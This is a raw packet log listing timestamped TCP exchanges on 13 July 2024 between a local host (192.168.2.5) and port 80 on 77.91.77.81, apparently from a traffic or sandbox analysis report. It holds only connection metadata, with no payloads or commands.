Jul 13, 2024 07:07:05.427669048 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.427689075 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.427697897 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.427733898 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.427742004 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.427774906 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.427788019 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.427809954 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.427819967 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.427849054 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.427881002 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.427892923 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.427913904 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.427926064 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.427999973 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.428014994 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.428035975 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.428046942 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.428071022 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.428082943 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.428105116 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.428114891 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.428142071 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.428152084 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.428177118 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.428185940 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.428211927 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.428225994 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.428246021 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.428261042 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.428280115 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.428313971 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.428338051 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.428347111 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.428380966 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.428391933 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.428399086 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.428433895 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.428466082 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.428487062 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.428510904 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.428548098 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.428580999 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.428596020 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.428622007 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.428637981 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.428654909 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.428689957 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.428709030 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.428721905 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.428745031 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.428755999 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.428770065 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.428802967 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.428807020 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.428839922 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.428854942 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.428874016 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.428884983 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.428910017 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.428921938 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.428942919 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.428977013 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.428988934 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.429008961 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.429022074 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.429044008 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.429053068 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.429079056 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.429090977 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.429116011 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.429127932 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.429167032 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.429202080 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.429213047 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.429234982 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.429251909 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.429274082 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.429279089 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.429303885 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.429317951 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.429344893 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.434484959 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.434554100 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.434588909 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.434592962 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.434628963 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.434643984 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.434643984 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.434664011 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.434712887 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.434724092 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.434758902 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.434792042 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.434803009 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.434828043 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.434837103 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.434860945 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.434873104 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.434896946 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.434907913 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.434931993 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.434940100 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.434967041 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.434977055 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.435003042 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.435012102 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.435038090 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.435048103 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.435081959 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.435094118 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.435148954 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.435159922 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.435183048 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.435201883 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.435220957 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.435235023 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.435251951 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.435262918 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.435286999 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.435296059 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.435323000 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.435331106 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.435357094 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.435368061 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.435400963 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.435410976 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.435445070 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.435480118 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.435480118 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.435497999 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.435530901 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.435545921 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.435565948 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.435573101 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.435601950 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.435609102 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.435637951 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.435642004 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.435672045 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.435682058 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.435707092 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.435715914 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.435743093 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.435750008 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.436068058 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.517561913 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.517608881 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.517622948 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.517637968 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.517638922 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.517658949 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.517683983 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.517702103 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.517716885 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.517726898 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.517726898 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.517726898 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.517726898 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.517726898 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.517734051 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.517750025 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.517772913 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.517772913 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.517772913 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.517797947 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.517803907 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.517822027 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.517838955 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.517851114 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.517854929 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.517875910 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.517875910 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.517901897 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.517923117 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.517968893 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.517971992 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.517985106 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.518014908 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.518054008 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.554727077 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.554750919 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.554769039 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.554800034 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.554800034 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.554858923 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.555058956 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.555079937 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.555115938 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.555147886 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.555150986 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.555171013 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.555188894 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.555211067 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.555244923 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.555279970 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.555301905 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.555313110 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.555330038 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.555350065 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.555370092 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.555386066 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.555408955 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.555449009 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.555664062 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.555696964 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.555727959 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.555730104 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.555748940 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.555766106 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.555788040 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.555803061 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.555824041 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.555838108 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.555864096 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.555879116 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.555886030 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.555927038 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.555932999 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.555985928 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.555989981 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.556025982 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.556060076 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.556076050 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.556092978 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.556117058 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.556128979 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.556140900 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.556162119 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.556196928 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.556219101 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.556229115 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.556241035 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.556277990 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.556281090 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.556314945 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.556349039 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.556358099 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.556380987 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.556382895 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.556401014 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.556416988 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.556432009 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.556451082 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.556474924 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.556515932 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.556520939 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.556554079 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.556586981 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.556586981 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.556617022 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.556674004 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.556695938 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.556710005 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.556740999 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.556745052 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.556771994 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.556797028 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.556890011 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.556922913 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.556956053 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.556973934 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.556988955 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.557008982 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.557024002 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.557035923 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.557058096 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.557070971 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.557094097 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.557102919 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.557127953 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.557162046 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.557176113 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.557194948 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.557207108 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.557229996 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.557240963 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.557262897 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.557271957 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.557296038 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.557311058 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.557331085 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.557343006 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.557364941 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.557370901 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.557399035 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.557408094 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.557435036 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.557441950 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.557478905 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.557679892 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.557713032 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.557745934 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.557766914 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.557779074 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.557797909 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.557812929 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.557826996 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.557851076 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.557863951 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.557883978 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.557894945 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.557920933 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.557933092 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.557955980 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.557965040 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.558003902 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.558063030 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.558096886 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.558115005 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.558130980 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.558141947 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.558165073 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.558172941 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.558198929 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.558208942 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.558233976 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.558244944 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.558275938 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.558470964 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.558504105 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.558525085 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.558537960 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.558548927 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.558572054 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.558582067 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.558618069 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.558648109 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.558681011 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.558693886 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.558713913 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.558722973 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.558747053 CEST	80	58982	77.91.77.81	192.168.2.5
